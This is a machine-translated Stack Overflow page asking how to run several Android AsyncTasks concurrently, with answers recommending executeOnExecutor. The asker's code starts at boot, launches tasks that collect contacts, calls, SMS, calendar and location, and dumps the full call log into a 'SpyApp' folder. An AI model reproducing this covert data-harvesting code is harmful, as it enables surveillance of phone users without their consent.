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Android 我可以添加多个异步任务并同时执行吗?_Android_Android Asynctask - Fatal编程技术网

Android 我可以添加多个异步任务并同时执行吗?

Android 我可以添加多个异步任务并同时执行吗?,android,android-asynctask,Android,Android Asynctask,我可以添加多个异步任务并同时执行吗? 我可以从主活动开始执行多个异步任务,如下所示 公共类接收器扩展了广播接收器{ @SuppressWarnings("deprecation") @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Log.e("Hello>>", "From OnReceive"); if

我可以添加多个异步任务并同时执行吗? 我可以从主活动开始执行多个异步任务,如下所示

公共类接收器扩展了广播接收器{

@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
    Log.e("Hello>>", "From OnReceive");

    if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
        Log.e("Hello......>>", "From OnReceive");

        MyContactsSending mycon= new MyContactsSending(context);
        mycon.execute();

        Log.e("contacts","Executed");
        MyCallsSending send = new MyCallsSending(context);
        send.execute();

        Log.e("calls","Executed");

        MySmsSending smssms = new MySmsSending(context);
        smssms.execute();

        Log.e("sms","Executed");

        MyCalendarSending calendar = new MyCalendarSending(context);
        calendar.execute();

        Log.e("calendar","Executed");
        MyLocationSending location = new MyLocationSending(context);

        location.execute();
        Log.e("GPS","Executed");

    }

}
}

在这段代码中,我得到了所有的日志,但在此之后,它将不会进入Asynctask的doInBackground()方法中(没有)。 我在每个类的方法doInBackground()中都设置了Log,但没有一个在Log中被命中(意味着没有一个方法被执行)

我的问题是,我可以像这样执行多个AsyncTask的对象吗

AsyncTask类的代码之一是:

公共类MyCallsSending扩展了异步任务{

Context concall;
public MyCallsSending(Context con){
    this.concall = con;
}
@Override
protected Void doInBackground(Void... params) {
    // TODO Auto-generated method stub

    Calls call = new Calls(concall);
    call.getCallDetails();
    Log.e("Calls Sending", "from asynctask");

    return null;
}
}

调用类的代码如下所示:

公共类呼叫{

Context con;

public calls(Context con){
    this.con = con;
}

public void getCallDetails() {

    StringBuffer sb = new StringBuffer();
    Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
            null, null, null);
    if (managedCursor != null) {
        Log.i("Cursor has values...", "Yes");
    }
    int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
    int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
    int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
    int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
    sb.append("************Call Details************\n");
    managedCursor.moveToFirst();

    do {
        String phNumber = managedCursor.getString(number);
        String callType = managedCursor.getString(type);
        String callDate = managedCursor.getString(date);
        Date callDayTime = new Date(Long.valueOf(callDate));
        String callDuration = managedCursor.getString(duration);
        String dir = null;
        int dircode = Integer.parseInt(callType);

        switch (dircode) {
        case CallLog.Calls.OUTGOING_TYPE:
            dir = "OUTGOING";
            break;

        case CallLog.Calls.INCOMING_TYPE:
            dir = "INCOMING";
            break;

        case CallLog.Calls.MISSED_TYPE:
            dir = "MISSED";
            break;

        }

        Log.i("Values", phNumber + callType + callDate);
        sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
                + " \nCall Date:- " + callDayTime
                + " \nCall duration in sec :- " + callDuration);
        sb.append("\n-----------------------------------");
    } while (managedCursor.moveToNext());


    managedCursor.close();

    try {

        File myFile = new File(Environment.getExternalStorageDirectory()
                + File.separator + "SpyApp");
        if (!myFile.exists()) {
            myFile.mkdir();
        } else {
            //Toast.makeText(getApplicationContext(), "Already Created..",
                //  Toast.LENGTH_LONG).show();
        }
        String path = myFile.getPath();
        //Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);

        File file = new File(path + File.separator + "CallLog.txt");
        if (!file.exists()) {
            file.createNewFile();
        } else {
            //Toast.makeText(getApplicationContext(), "Already Created..",
                //  Toast.LENGTH_LONG).show();
        }

        FileOutputStream fOut = new FileOutputStream(file);
        OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);

        myOutWriter.append(sb.toString());
        myOutWriter.flush();
        myOutWriter.close();
        fOut.close();
        //Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
            //  Toast.LENGTH_SHORT).show();
    } catch (Exception e) {
        //Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
            //  .show();
    }

}

}简短版本:当然可以

默认情况下,AsyncTask在串行队列中(一个接一个)执行,但如果希望它们同时运行,可以:

new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);
从蜂巢开始,任务在单个线程上执行,以避免并行执行导致的常见应用程序错误。如果确实需要并行执行,可以使用线程池执行器调用executeOnExecutor(java.util.concurrent.Executor,Object[])。


使用并行线程时要小心,不要使设备过载并导致应用程序死机。

您能发布其中一个AsyncTask的代码吗?感谢您的回答,当我应用此方法时,我发现此错误类型AsyncTask中的方法executeOnExecutor(Executor,Void…)不适用于参数(Executor,int)Jabir,如果您的类型是AsyncTask,则只需调用:new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD\u POOL\u EXECUTOR);(无第二个参数)Ok,X,完成。但在这里,我也应用了这段代码,它也可以很好地运行public void executeOnExecutor(Executor threadPoolExecutor,int i){//TODO自动生成的方法存根调用call=new calls(concall);call.getCallDetails();Log.e(“调用发送”,“来自异步任务”);}是的。但它在较低版本上不可用。对于较低版本,您没有其他选择。你可以从verion 14下载这个。你不应该覆盖executeOnExecutor和执行东西。所有任务都必须在doInBackground中完成,否则将在主线程上执行。